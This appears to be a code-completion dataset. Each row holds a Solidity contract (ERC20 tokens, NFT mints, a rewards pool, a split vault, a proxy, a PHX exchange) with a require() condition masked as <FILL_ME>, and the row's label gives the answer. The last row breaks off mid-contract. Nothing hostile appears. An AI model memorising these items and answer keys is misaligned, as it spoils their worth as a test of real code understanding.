comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
null | pragma solidity ^0.4.25;
contract Utils {
function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
}
function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
}
function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) {
}
function safeDiv(uint256 _x, uint256 _y) internal pure returns (uint256) {
}
}
contract Ownable {
address public owner;
function Ownable() public {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) onlyOwner public {
}
}
contract ERC20Token {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract StandardToken is ERC20Token, Utils, Ownable {
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowed;
function transfer(address _to, uint256 _value) public returns (bool success){
require(<FILL_ME>)
balanceOf[msg.sender] = safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = safeAdd(balanceOf[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
}
}
contract Miss is StandardToken {
string public constant name = "MISS";
string public constant symbol = "MISS";
uint8 public constant decimals = 18;
uint256 public totalSupply = 1 * 10**26;
address public constant OwnerWallet = 0x20543449bb9f520d24C05039868733b1B7Ec1856;
function Miss(){
}
}
| balanceOf[msg.sender]>=_value&&balanceOf[_to]+_value>balanceOf[_to] | 37,060 | balanceOf[msg.sender]>=_value&&balanceOf[_to]+_value>balanceOf[_to] |
null | pragma solidity ^0.5.0;
contract ETHYFIRewards is IRewardDistributionRecipient {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public typhoon;
uint256 public constant DURATION = 28 days;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
Tornado public tornado;
mapping(bytes32 => uint256) public userRewardPerTokenPaid;
mapping(bytes32 => uint256) public rewards;
mapping(bytes32 => bool) public nullifierHashDeposit;
event RewardAdded(uint256 reward);
event Staked(bytes32 indexed nullifierHash);
event Withdrawn(bytes32 indexed nullifierHash);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(bytes32 _nullifierHash) {
}
constructor(Tornado _tornado, IERC20 _typhoon) public {
}
function seize(IERC20 _token, uint amount) external onlyOwner {
}
function balanceOf(bytes32 _nullifierHash) public view returns (uint256) {
}
function totalSupply() public view returns (uint256) {
}
function lastTimeRewardApplicable() public view returns (uint256) {
}
function rewardPerToken() public view returns (uint256) {
}
function earned(bytes32 _nullifierHash) public view returns (uint256) {
}
function stake(bytes32 _nullifierHash) public updateReward(_nullifierHash) {
// only ternado contract can trigger this method
require(msg.sender == address(tornado), "sender not tornado contract");
require(<FILL_ME>)
nullifierHashDeposit[_nullifierHash] = true;
emit Staked(_nullifierHash);
}
function withdraw(bytes32 _nullifierHash, address payable _recipient) public {
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(0x0)
{
}
}
| !nullifierHashDeposit[_nullifierHash] | 37,074 | !nullifierHashDeposit[_nullifierHash] |
"DInterest: Deposit not active" | pragma solidity 0.5.15;
pragma experimental ABIEncoderV2;
import "@nomiclabs/buidler/console.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./libs/DecMath.sol";
import "./moneymarkets/IMoneyMarket.sol";
import "./FeeModel.sol";
// DeLorean Interest -- It's coming back from the future!
// EL PSY CONGROO
// Author: Zefram Lou
// Contact: [email protected]
contract DInterest is ReentrancyGuard {
using SafeMath for uint256;
using DecMath for uint256;
using SafeERC20 for ERC20Detailed;
// Constants
uint256 internal constant PRECISION = 10**18;
uint256 internal constant ONE = 10**18;
// Used for maintaining an accurate average block time
uint256 internal _blocktime; // Number of seconds needed to generate each block, decimal
uint256 internal _lastCallBlock; // Last block when the contract was called
uint256 internal _lastCallTimestamp; // Last timestamp when the contract was called
uint256 internal _numBlocktimeDatapoints; // Number of block time datapoints collected
modifier updateBlocktime {
}
// User deposit data
struct Deposit {
uint256 amount; // Amount of stablecoin deposited
uint256 maturationTimestamp; // Unix timestamp after which the deposit may be withdrawn, in seconds
bool active; // True if not yet withdrawn, false if withdrawn
}
mapping(address => Deposit[]) public userDeposits;
mapping(address => Deposit[]) public sponsorDeposits;
// Params
uint256 public UIRMultiplier; // Upfront interest rate multiplier
uint256 public MinDepositPeriod; // Minimum deposit period, in seconds
// Instance variables
uint256 public totalDeposit;
// External smart contracts
IMoneyMarket public moneyMarket;
ERC20Detailed public stablecoin;
FeeModel public feeModel;
// Events
event EDeposit(
address indexed sender,
uint256 depositID,
uint256 amount,
uint256 maturationTimestamp,
uint256 upfrontInterestAmount
);
event EWithdraw(address indexed sender, uint256 depositID);
event ESponsorDeposit(
address indexed sender,
uint256 depositID,
uint256 amount,
uint256 maturationTimestamp,
string data
);
event ESponsorWithdraw(address indexed sender, uint256 depositID);
constructor(
uint256 _UIRMultiplier,
uint256 _MinDepositPeriod,
address _moneyMarket,
address _stablecoin,
address _feeModel
) public {
}
/**
Public actions
*/
function deposit(uint256 amount, uint256 maturationTimestamp)
external
updateBlocktime
nonReentrant
{
}
function withdraw(uint256 depositID) external updateBlocktime nonReentrant {
}
function multiDeposit(
uint256[] calldata amountList,
uint256[] calldata maturationTimestampList
) external updateBlocktime nonReentrant {
}
function multiWithdraw(uint256[] calldata depositIDList)
external
updateBlocktime
nonReentrant
{
}
/**
Public getters
*/
function calculateUpfrontInterestRate(uint256 depositPeriodInSeconds)
public
view
returns (uint256 upfrontInterestRate)
{
}
function blocktime() external view returns (uint256) {
}
function deficit()
external
view
returns (bool isNegative, uint256 deficitAmount)
{
}
/**
Sponsor actions
*/
function sponsorDeposit(
uint256 amount,
uint256 maturationTimestamp,
string calldata data
) external updateBlocktime nonReentrant {
}
function sponsorWithdraw(uint256 depositID)
external
updateBlocktime
nonReentrant
{
Deposit memory depositEntry = sponsorDeposits[msg.sender][depositID];
// Verify deposit is active and set to inactive
require(<FILL_ME>)
depositEntry.active = false;
// Verify `now >= depositEntry.maturationTimestamp`
require(
now >= depositEntry.maturationTimestamp,
"DInterest: Deposit not mature"
);
// Update totalDeposit
totalDeposit = totalDeposit.sub(depositEntry.amount);
// Withdraw `depositEntry.amount` stablecoin from money market
moneyMarket.withdraw(depositEntry.amount);
// Send `depositEntry.amount` stablecoin to `msg.sender`
stablecoin.safeTransfer(msg.sender, depositEntry.amount);
// Emit event
emit ESponsorWithdraw(msg.sender, depositID);
}
/**
Internals
*/
function _deposit(uint256 amount, uint256 maturationTimestamp) internal {
}
function _withdraw(uint256 depositID) internal {
}
}
| depositEntry.active,"DInterest: Deposit not active" | 37,218 | depositEntry.active |
"{setAuctionCurve} : invalid auctionCurveAddress" | pragma solidity 0.7.5;
// solhint-disable-next-line
abstract contract BaseAuctions is IAuction, Ownable {
using Address for address;
using SafeERC20 for IERC20;
// calulations
DefiKey[] public defiKeys;// solhint-disable-line var-name-mixedcase;
IAuctionCurve public auctionCurve;
IERC20 public purchaseToken;
IRandomMinter public keyMinter;
// dao
address public daoTreasury;
// events
event PurchaseMade(address indexed account, uint256 indexed epoch, uint256 purchaseAmount);
function setDaoTreasury(address daoTreasuryAddress) external override onlyOwner {
}
function setKeyMinter(address keyMinterAddress) external override onlyOwner {
}
function transferKeyMinterOwnership(address newOwner) external override onlyOwner {
}
function setAuctionCurve(address auctionCurveAddress) external override onlyOwner {
require(<FILL_ME>)
auctionCurve = IAuctionCurve(auctionCurveAddress);
}
/**
* @notice Safety function to handle accidental / excess token transfer to the contract
*/
function escapeHatchERC20(address tokenAddress) external override onlyOwner {
}
function totalDefiKeys() external view override returns (uint256) {
}
function currentPrice() public view override returns (uint256) {
}
}
| auctionCurveAddress.isContract(),"{setAuctionCurve} : invalid auctionCurveAddress" | 37,258 | auctionCurveAddress.isContract() |
"Minting this many would exceed supply!" | pragma solidity ^0.8.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
interface ENS_Registrar {
function setName(string calldata name) external returns (bytes32);
}
contract Howlerz is
ERC721A,
PaymentSplitter,
Ownable,
ReentrancyGuard,
VRFConsumerBase
{
using Strings for uint256;
uint256 public constant MAXTOKENS = 5000;
uint256 public constant TOKENPRICE = 0.13 ether;
uint256 public constant WALLETLIMIT = 5;
uint256 public startingBlock = 999999999;
uint256 public tokenOffset;
bool public revealed;
string public baseURI;
string public provenance;
bytes32 internal keyHash =
0x8af398995b04c28e9951adb9721ef74c74f93e6a478f39e7e0777be13527e7ef;
uint256 private fee = 0.1 ether;
address public VRF_coordinatorAddress =
0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
address public linkAddress = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
constructor(
address[] memory payees,
uint256[] memory shares,
string memory unrevealedURI
)
public
ERC721A("HOWLERZ NFT", "HOWLERZ", WALLETLIMIT)
PaymentSplitter(payees, shares)
VRFConsumerBase(VRF_coordinatorAddress, linkAddress)
{
}
//Returns token URI
//Note that TokenIDs are shifted against the underlying metadata
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
//Returns base URI
function _baseURI() internal view override returns (string memory) {
}
//Minting
function mint(uint256 quantity) external payable nonReentrant {
require(
block.number >= startingBlock ||
msg.sender==owner(), "Sale hasn't started yet!" //allow owner to test mint immediately after deployment to confirm website functionality prior to activating the sale
);
require(<FILL_ME>)
require(
_numberMinted(msg.sender) + quantity <= WALLETLIMIT,
"There is a per-wallet limit!"
);
require(msg.value == TOKENPRICE * quantity, "Wrong ether sent!");
require(msg.sender == tx.origin, "No contracts!");
_safeMint(msg.sender, quantity);
}
function setStartingBlock(uint256 _startingBlock) external onlyOwner {
}
//Provenance may only be set once, irreversibly
function setProvenance(string memory _provenance) external onlyOwner {
}
//Modifies the Chainlink configuration if needed
function changeLinkConfig(
uint256 _fee,
bytes32 _keyhash
) external onlyOwner {
}
//To be called prior to reveal in order to set a token ID shift
function requestOffset() public onlyOwner returns (bytes32 requestId) {
}
//Chainlink callback
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal
override
{
}
//Set Base URI
function updateBaseURI(string memory newURI) external onlyOwner {
}
//Reveals the tokens by updating to a new URI
//To be called after receiving a random token offset
function reveal(string memory newURI) external onlyOwner {
}
//To allow the contract to set a reverse ENS record
function setReverseRecord(string calldata _name, address registrar_address)
external
onlyOwner
{
}
}
| totalSupply()+quantity<=MAXTOKENS,"Minting this many would exceed supply!" | 37,412 | totalSupply()+quantity<=MAXTOKENS |
"There is a per-wallet limit!" | pragma solidity ^0.8.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
interface ENS_Registrar {
function setName(string calldata name) external returns (bytes32);
}
contract Howlerz is
ERC721A,
PaymentSplitter,
Ownable,
ReentrancyGuard,
VRFConsumerBase
{
using Strings for uint256;
uint256 public constant MAXTOKENS = 5000;
uint256 public constant TOKENPRICE = 0.13 ether;
uint256 public constant WALLETLIMIT = 5;
uint256 public startingBlock = 999999999;
uint256 public tokenOffset;
bool public revealed;
string public baseURI;
string public provenance;
bytes32 internal keyHash =
0x8af398995b04c28e9951adb9721ef74c74f93e6a478f39e7e0777be13527e7ef;
uint256 private fee = 0.1 ether;
address public VRF_coordinatorAddress =
0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
address public linkAddress = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
constructor(
address[] memory payees,
uint256[] memory shares,
string memory unrevealedURI
)
public
ERC721A("HOWLERZ NFT", "HOWLERZ", WALLETLIMIT)
PaymentSplitter(payees, shares)
VRFConsumerBase(VRF_coordinatorAddress, linkAddress)
{
}
//Returns token URI
//Note that TokenIDs are shifted against the underlying metadata
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
//Returns base URI
function _baseURI() internal view override returns (string memory) {
}
//Minting
function mint(uint256 quantity) external payable nonReentrant {
require(
block.number >= startingBlock ||
msg.sender==owner(), "Sale hasn't started yet!" //allow owner to test mint immediately after deployment to confirm website functionality prior to activating the sale
);
require(
totalSupply() + quantity <= MAXTOKENS,
"Minting this many would exceed supply!"
);
require(<FILL_ME>)
require(msg.value == TOKENPRICE * quantity, "Wrong ether sent!");
require(msg.sender == tx.origin, "No contracts!");
_safeMint(msg.sender, quantity);
}
function setStartingBlock(uint256 _startingBlock) external onlyOwner {
}
//Provenance may only be set once, irreversibly
function setProvenance(string memory _provenance) external onlyOwner {
}
//Modifies the Chainlink configuration if needed
function changeLinkConfig(
uint256 _fee,
bytes32 _keyhash
) external onlyOwner {
}
//To be called prior to reveal in order to set a token ID shift
function requestOffset() public onlyOwner returns (bytes32 requestId) {
}
//Chainlink callback
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal
override
{
}
//Set Base URI
function updateBaseURI(string memory newURI) external onlyOwner {
}
//Reveals the tokens by updating to a new URI
//To be called after receiving a random token offset
function reveal(string memory newURI) external onlyOwner {
}
//To allow the contract to set a reverse ENS record
function setReverseRecord(string calldata _name, address registrar_address)
external
onlyOwner
{
}
}
| _numberMinted(msg.sender)+quantity<=WALLETLIMIT,"There is a per-wallet limit!" | 37,412 | _numberMinted(msg.sender)+quantity<=WALLETLIMIT |
"Provenance already set!" | pragma solidity ^0.8.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
interface ENS_Registrar {
function setName(string calldata name) external returns (bytes32);
}
contract Howlerz is
ERC721A,
PaymentSplitter,
Ownable,
ReentrancyGuard,
VRFConsumerBase
{
using Strings for uint256;
uint256 public constant MAXTOKENS = 5000;
uint256 public constant TOKENPRICE = 0.13 ether;
uint256 public constant WALLETLIMIT = 5;
uint256 public startingBlock = 999999999;
uint256 public tokenOffset;
bool public revealed;
string public baseURI;
string public provenance;
bytes32 internal keyHash =
0x8af398995b04c28e9951adb9721ef74c74f93e6a478f39e7e0777be13527e7ef;
uint256 private fee = 0.1 ether;
address public VRF_coordinatorAddress =
0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
address public linkAddress = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
constructor(
address[] memory payees,
uint256[] memory shares,
string memory unrevealedURI
)
public
ERC721A("HOWLERZ NFT", "HOWLERZ", WALLETLIMIT)
PaymentSplitter(payees, shares)
VRFConsumerBase(VRF_coordinatorAddress, linkAddress)
{
}
//Returns token URI
//Note that TokenIDs are shifted against the underlying metadata
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
//Returns base URI
function _baseURI() internal view override returns (string memory) {
}
//Minting
function mint(uint256 quantity) external payable nonReentrant {
}
function setStartingBlock(uint256 _startingBlock) external onlyOwner {
}
//Provenance may only be set once, irreversibly
function setProvenance(string memory _provenance) external onlyOwner {
require(<FILL_ME>)
provenance = _provenance;
}
//Modifies the Chainlink configuration if needed
function changeLinkConfig(
uint256 _fee,
bytes32 _keyhash
) external onlyOwner {
}
//To be called prior to reveal in order to set a token ID shift
function requestOffset() public onlyOwner returns (bytes32 requestId) {
}
//Chainlink callback
function fulfillRandomness(bytes32 requestId, uint256 randomness)
internal
override
{
}
//Set Base URI
function updateBaseURI(string memory newURI) external onlyOwner {
}
//Reveals the tokens by updating to a new URI
//To be called after receiving a random token offset
function reveal(string memory newURI) external onlyOwner {
}
//To allow the contract to set a reverse ENS record
function setReverseRecord(string calldata _name, address registrar_address)
external
onlyOwner
{
}
}
| bytes(provenance).length==0,"Provenance already set!" | 37,412 | bytes(provenance).length==0 |
"Base URI not yet set" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract SoulOfUkraine is ERC721Enumerable, Ownable {
using Strings for uint256;
using SafeMath for uint256;
string private _rootURI;
uint256 public cost = 0.03 ether;
uint256 public maxSupply = 5000;
bool public isSaleActive = true;
constructor() ERC721("Soul of Ukraine", "SUA") {}
function mint(uint256 _mintAmount) public payable {
}
function flipSaleStatus() public onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(tokenId), "Token ID not valid");
require(<FILL_ME>)
return string(abi.encodePacked(_baseURI(), tokenId.toString()));
}
function withdraw() public payable onlyOwner {
}
}
| bytes(_rootURI).length>0,"Base URI not yet set" | 37,738 | bytes(_rootURI).length>0 |
"Not enough tokens left" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.3;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract TheFruits is ERC721, Ownable {
using SafeMath for uint256;
/*
Variables
*/
uint256 public constant maxSupply = 5000;
uint256 public price = 50000000000000000; // 0.05 ETH
uint256 public reservedTokens = 250;
bool public isSaleActive = false;
string public FRUIT_PROVENANCE = "";
/*
Constructor
*/
constructor() ERC721("TheFruits", "FRUIT") {}
/*
Set the base URI for all token IDs.
It is automatically added as a prefix to the value returned in tokenURI.
*/
function setBaseURI(string memory _baseURI) public onlyOwner {
}
/*
Set Provenance Hash
*/
function setProvenanceHash(string memory _provenanceHash) public onlyOwner {
}
/*
Activate/Deactivate Sale
*/
function flipSaleState() public onlyOwner {
}
/*
Set Price
*/
function setPrice(uint256 _newPrice) public onlyOwner {
}
/*
Set Reserved Tokens
*/
function setReservedTokens(uint256 _reservedTokens) public onlyOwner {
}
/*
Withdraw
*/
function withdraw() public onlyOwner {
}
/*
Claim Reserved Tokens
*/
function claimReservedTokens(address _to, uint256 _numberOfTokens) public onlyOwner {
}
/*
Mint
*/
function mint(uint256 _numberOfTokens) public payable {
uint256 supply = totalSupply();
require(isSaleActive, "Sale must be active to mint tokens");
require(_numberOfTokens < 11, "You cannot mint more than 10 tokens at once");
require(<FILL_ME>)
require(_numberOfTokens.mul(price) <= msg.value, "Inconsistent amount sent");
for (uint256 i = 0; i < _numberOfTokens; i++) {
_safeMint(msg.sender, supply.add(i));
}
}
/*
List All Fruits of a Wallet
*/
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
}
}
| supply.add(_numberOfTokens)<=maxSupply.sub(reservedTokens),"Not enough tokens left" | 37,778 | supply.add(_numberOfTokens)<=maxSupply.sub(reservedTokens) |
"Inconsistent amount sent" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.3;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract TheFruits is ERC721, Ownable {
using SafeMath for uint256;
/*
Variables
*/
uint256 public constant maxSupply = 5000;
uint256 public price = 50000000000000000; // 0.05 ETH
uint256 public reservedTokens = 250;
bool public isSaleActive = false;
string public FRUIT_PROVENANCE = "";
/*
Constructor
*/
constructor() ERC721("TheFruits", "FRUIT") {}
/*
Set the base URI for all token IDs.
It is automatically added as a prefix to the value returned in tokenURI.
*/
function setBaseURI(string memory _baseURI) public onlyOwner {
}
/*
Set Provenance Hash
*/
function setProvenanceHash(string memory _provenanceHash) public onlyOwner {
}
/*
Activate/Deactivate Sale
*/
function flipSaleState() public onlyOwner {
}
/*
Set Price
*/
function setPrice(uint256 _newPrice) public onlyOwner {
}
/*
Set Reserved Tokens
*/
function setReservedTokens(uint256 _reservedTokens) public onlyOwner {
}
/*
Withdraw
*/
function withdraw() public onlyOwner {
}
/*
Claim Reserved Tokens
*/
function claimReservedTokens(address _to, uint256 _numberOfTokens) public onlyOwner {
}
/*
Mint
*/
function mint(uint256 _numberOfTokens) public payable {
uint256 supply = totalSupply();
require(isSaleActive, "Sale must be active to mint tokens");
require(_numberOfTokens < 11, "You cannot mint more than 10 tokens at once");
require(supply.add(_numberOfTokens) <= maxSupply.sub(reservedTokens), "Not enough tokens left");
require(<FILL_ME>)
for (uint256 i = 0; i < _numberOfTokens; i++) {
_safeMint(msg.sender, supply.add(i));
}
}
/*
List All Fruits of a Wallet
*/
function walletOfOwner(address _owner) public view returns(uint256[] memory) {
}
}
| _numberOfTokens.mul(price)<=msg.value,"Inconsistent amount sent" | 37,778 | _numberOfTokens.mul(price)<=msg.value |
"DESTINATION_ADDRESS_IS_NOT_A_CONTRACT" | pragma solidity ^0.5.2;
contract Proxy is ProxyStorage, DelegateProxy {
event ProxyUpdated(address indexed _new, address indexed _old);
event OwnerUpdate(address _prevOwner, address _newOwner);
constructor(address _proxyTo) public {
}
function() external payable {
}
function implementation() external view returns (address) {
}
function updateImplementation(address _newProxyTo) public onlyOwner {
require(_newProxyTo != address(0x0), "INVALID_PROXY_ADDRESS");
require(<FILL_ME>)
emit ProxyUpdated(_newProxyTo, proxyTo);
proxyTo = _newProxyTo;
}
function isContract(address _target) internal view returns (bool) {
}
}
| isContract(_newProxyTo),"DESTINATION_ADDRESS_IS_NOT_A_CONTRACT" | 37,811 | isContract(_newProxyTo) |
"Failed to transfer tokens to SplitVault." | //SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./CapitalComponentToken.sol";
import "./YieldComponentToken.sol";
contract SplitVault is Ownable {
/*
* Storage
*/
struct ComponentSet {
address yieldToken;
address capitalToken;
}
mapping(address => ComponentSet) public tokensToComponents;
constructor() public {}
/// @dev Retrieve the componentSet for a given token
/// @param tokenAddress for which to fetch the associated componentSet
function getComponentSet(address tokenAddress) public view returns (ComponentSet memory) {
}
/// @dev Allows Split protocol governance to add support for new tokens
/// @param tokenAddress the address of token to support
/// @param yieldTokenAddress the corresponding yieldERC20Comp token address
/// @param capitalTokenAddress the corresponding capitalERC20Comp token address
function add(
address tokenAddress,
address yieldTokenAddress,
address capitalTokenAddress
) public onlyOwner {
}
/// @dev Allows Split protocol governance to remove support for new tokens
/// @param tokenAddress the address of token to remove support for
function remove(address tokenAddress) public onlyOwner {
}
/// @dev Allows a holder of a whitelisted Compound token to split it into it's corresponding Yield and Capital tokens
/// @param amount of tokens to split
/// @param tokenAddress the address of token to split
function split(uint256 amount, address tokenAddress) public {
ComponentSet memory componentSet = tokensToComponents[tokenAddress];
if (componentSet.yieldToken == address(0) || componentSet.capitalToken == address(0)) {
revert("Attempted to split unsupported token");
}
// Don't mint tokens if the transferFrom was not successful
require(<FILL_ME>)
CapitalComponentToken(componentSet.capitalToken).mintFromFull(msg.sender, amount);
YieldComponentToken(componentSet.yieldToken).mintFromFull(msg.sender, amount);
emit Split(tokenAddress, amount);
}
/// @dev Allows a holder of both Yield and Capital tokens to combine them into the underlying full tokens
/// @param amount of tokens to recombine
/// @param tokenAddress is the address of token to recombine
function combine(uint256 amount, address tokenAddress) public {
}
/// @dev Allows component token implementation to send tokens in the vaul
/// @param amount of tokens to payout
/// @param tokenAddress the tokens to send
/// @param recipient address of payout recipient
function payout(
uint256 amount,
address tokenAddress,
address recipient
) public {
}
/// @dev Emitted when component tokens are combined into a full token
event Combine(address indexed tokenAddress, uint256 amount);
/// @dev Emitted when full tokens are split into component tokens
event Split(address indexed tokenAddress, uint256 amount);
}
| IERC20(tokenAddress).transferFrom(msg.sender,address(this),amount),"Failed to transfer tokens to SplitVault." | 37,856 | IERC20(tokenAddress).transferFrom(msg.sender,address(this),amount) |
"Failed to transfer tokens from SplitVault." | //SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./CapitalComponentToken.sol";
import "./YieldComponentToken.sol";
contract SplitVault is Ownable {
/*
* Storage
*/
struct ComponentSet {
address yieldToken;
address capitalToken;
}
mapping(address => ComponentSet) public tokensToComponents;
constructor() public {}
/// @dev Retrieve the componentSet for a given token
/// @param tokenAddress for which to fetch the associated componentSet
function getComponentSet(address tokenAddress) public view returns (ComponentSet memory) {
}
/// @dev Allows Split protocol governance to add support for new tokens
/// @param tokenAddress the address of token to support
/// @param yieldTokenAddress the corresponding yieldERC20Comp token address
/// @param capitalTokenAddress the corresponding capitalERC20Comp token address
function add(
address tokenAddress,
address yieldTokenAddress,
address capitalTokenAddress
) public onlyOwner {
}
/// @dev Allows Split protocol governance to remove support for new tokens
/// @param tokenAddress the address of token to remove support for
function remove(address tokenAddress) public onlyOwner {
}
/// @dev Allows a holder of a whitelisted Compound token to split it into it's corresponding Yield and Capital tokens
/// @param amount of tokens to split
/// @param tokenAddress the address of token to split
function split(uint256 amount, address tokenAddress) public {
}
/// @dev Allows a holder of both Yield and Capital tokens to combine them into the underlying full tokens
/// @param amount of tokens to recombine
/// @param tokenAddress is the address of token to recombine
function combine(uint256 amount, address tokenAddress) public {
}
/// @dev Allows component token implementation to send tokens in the vaul
/// @param amount of tokens to payout
/// @param tokenAddress the tokens to send
/// @param recipient address of payout recipient
function payout(
uint256 amount,
address tokenAddress,
address recipient
) public {
ComponentSet memory componentSet = tokensToComponents[tokenAddress];
if (componentSet.yieldToken == address(0) || componentSet.capitalToken == address(0)) {
revert("Attempted to request a payout for an unsupported token");
}
if (msg.sender != componentSet.yieldToken && msg.sender != componentSet.capitalToken) {
revert("Payout can only be called by the corresponding yield or capital token");
}
// Revert if the transfer was not successful
require(<FILL_ME>)
}
/// @dev Emitted when component tokens are combined into a full token
event Combine(address indexed tokenAddress, uint256 amount);
/// @dev Emitted when full tokens are split into component tokens
event Split(address indexed tokenAddress, uint256 amount);
}
| IERC20(tokenAddress).transfer(recipient,amount),"Failed to transfer tokens from SplitVault." | 37,856 | IERC20(tokenAddress).transfer(recipient,amount) |
null | pragma solidity ^0.4.21;
/*
* Basic PHX-Ethereum Exchange
*
* This contract keeps a list of buy/sell orders for PHX coins
* and acts as a market-maker matching sellers to buyers.
*
* //*** Developed By:
* _____ _ _ _ ___ _
* |_ _|__ __| |_ _ _ (_)__ __ _| | _ (_)___ ___
* | |/ -_) _| ' \| ' \| / _/ _` | | / (_-</ -_)
* |_|\___\__|_||_|_||_|_\__\__,_|_|_|_\_/__/\___|
*
* © 2018 TechnicalRise. Written in March 2018.
* All rights reserved. Do not copy, adapt, or otherwise use without permission.
* https://www.reddit.com/user/TechnicalRise/
*
* Thanks to Ogu, TocSick, and Norsefire.
*/
contract ERC20Token {
function transfer(address to, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
}
contract SimplePHXExchange {
// ScaleFactor
// It needs to be possible to make PHX cost less than 1 Wei / Rise
// And vice-versa, make ETH cost less than 1 Rise / Wei
uint public ScaleFactor = 10 ** 18;
// **** Maps for the Token-Seller Side of the Contract
// Array of offerors
address[] public tknOfferors;
mapping(address => uint256) public tknAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public tknTokensOffered;
mapping(address => uint256) public tknPricePerToken; // In qWeiPerRise (need to multiply by 10 ** 36 to get it to ETH / PHX)
// **** Maps for the Token-Buyer Side of the Contract
// Array of offerors
address[] public ethOfferors;
mapping(address => uint256) public ethAddrNdx;
// Array between each address and their tokens offered and buy prices.
mapping(address => uint256) public ethEtherOffered;
mapping(address => uint256) public ethPricePerToken; // In qRisePerWei (need to multiply by 10 ** 36 to get it to PHX / ETH)
// ****
ERC20Token public phxCoin;
function SimplePHXExchange() public {
}
function offerTkn(uint _tokensOffered, uint _tokenPrice) public {
require(<FILL_ME>)
require(tknAddrNdx[msg.sender] == 0); // Make sure that this offeror has cancelled all previous offers
require(0 < _tokensOffered); // Make sure some number of tokens are offered
require(phxCoin.transferFrom(msg.sender, this, _tokensOffered)); // Require that transfer can be and is made
tknTokensOffered[msg.sender] = _tokensOffered;
tknPricePerToken[msg.sender] = _tokenPrice; // in qWeiPerRise
tknOfferors.push(msg.sender);
tknAddrNdx[msg.sender] = tknOfferors.length - 1;
}
function offerEth(uint _tokenPrice) public payable {
}
function cancelTknOffer() public {
}
function _cancelTknOffer(address _offeror) internal {
}
function cancelEthOffer() public {
}
function _cancelEthOffer(address _offeror) internal {
}
function buyTkn(uint _ndx) payable public {
}
function buyEth(uint _ndx) public {
}
function updateTknPrice(uint _newPrice) public {
}
function updateEthPrice(uint _newPrice) public {
}
// Getter Functions
function getNumTknOfferors() public constant returns (uint _numOfferors) {
}
function getTknOfferor(uint _ndx) public constant returns (address _offeror) {
}
function getTknOfferPrice(uint _ndx) public constant returns (uint _tokenPrice) {
}
function getTknOfferAmount(uint _ndx) public constant returns (uint _tokensOffered) {
}
